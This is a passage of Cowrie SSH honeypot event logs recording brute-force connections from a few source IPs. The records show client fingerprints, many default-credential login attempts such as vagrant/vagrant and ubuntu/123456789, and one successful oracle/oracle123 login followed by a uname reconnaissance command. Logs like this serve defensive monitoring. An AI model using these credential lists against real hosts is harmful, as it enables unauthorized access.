oly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:30.800292Z","src_ip":"176.65.139.95","session":"dacdeaeb0cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:31.265475Z","src_ip":"176.65.139.95","session":"dacdeaeb0cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a219135da72","protocol":"ssh","message":"New connection: 192.109.200.78:33262 (159.203.135.109:22) [session: 7a219135da72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:31.749625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:31.754624Z","src_ip":"192.109.200.78","session":"7a219135da72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:31.841848Z","src_ip":"192.109.200.78","session":"7a219135da72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4192e689d00","protocol":"ssh","message":"New connection: 159.203.92.129:37586 (159.203.135.109:22) [session: a4192e689d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.213362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.218286Z","src_ip":"159.203.92.129","session":"a4192e689d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.222817Z","src_ip":"159.203.92.129","session":"a4192e689d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.230261Z","src_ip":"192.109.200.78","session":"7a219135da72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PICAT","password":"123456","message":"login attempt [PICAT/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.240316Z","src_ip":"159.203.92.129","session":"a4192e689d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:32.366841Z","src_ip":"176.65.139.95","session":"dacdeaeb0cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:33.246821Z","src_ip":"159.203.92.129","session":"a4192e689d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:33.315374Z","src_ip":"192.109.200.78","session":"7a219135da72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33266,"dst_ip":"159.203.135.109","dst_port":22,"session":"89232f35bad3","protocol":"ssh","message":"New connection: 192.109.200.78:33266 (159.203.135.109:22) [session: 89232f35bad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:35.889736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:35.895141Z","src_ip":"192.109.200.78","session":"89232f35bad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:35.984418Z","src_ip":"192.109.200.78","session":"89232f35bad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:36.240809Z","src_ip":"192.109.200.78","session":"89232f35bad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44674,"dst_ip":"159.203.135.109","dst_port":22,"session":"087045fb8c32","protocol":"ssh","message":"New connection: 176.65.139.95:44674 (159.203.135.109:22) [session: 087045fb8c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.042781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.055979Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.129829Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.326386Z","src_ip":"192.109.200.78","session":"89232f35bad3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.460552Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.667781Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.671273Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.757518Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:37.762427Z","src_ip":"176.65.139.95","session":"087045fb8c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34802,"dst_ip":"159.203.135.109","dst_port":22,"session":"379d54212df4","protocol":"ssh","message":"New connection: 192.109.200.78:34802 (159.203.135.109:22) [session: 379d54212df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:40.131743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:40.136410Z","src_ip":"192.109.200.78","session":"379d54212df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:40.218569Z","src_ip":"192.109.200.78","session":"379d54212df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:40.465181Z","src_ip":"192.109.200.78","session":"379d54212df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:41.550089Z","src_ip":"192.109.200.78","session":"379d54212df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e01fe542854","protocol":"ssh","message":"New connection: 176.65.139.95:34956 (159.203.135.109:22) [session: 6e01fe542854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:43.169232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:43.173829Z","src_ip":"176.65.139.95","session":"6e01fe542854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:43.258229Z","src_ip":"176.65.139.95","session":"6e01fe542854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:43.533653Z","src_ip":"176.65.139.95","session":"6e01fe542854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01addde861d","protocol":"ssh","message":"New connection: 192.109.200.78:34812 (159.203.135.109:22) [session: f01addde861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:44.228457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:44.233653Z","src_ip":"192.109.200.78","session":"f01addde861d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:44.318354Z","src_ip":"192.109.200.78","session":"f01addde861d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:44.617310Z","src_ip":"176.65.139.95","session":"6e01fe542854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:44.743404Z","src_ip":"192.109.200.78","session":"f01addde861d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:45.828137Z","src_ip":"192.109.200.78","session":"f01addde861d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41952,"dst_ip":"159.203.135.109","dst_port":22,"session":"3deff8445f3b","protocol":"ssh","message":"New connection: 192.109.200.78:41952 (159.203.135.109:22) [session: 3deff8445f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:48.445152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:48.450687Z","src_ip":"192.109.200.78","session":"3deff8445f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@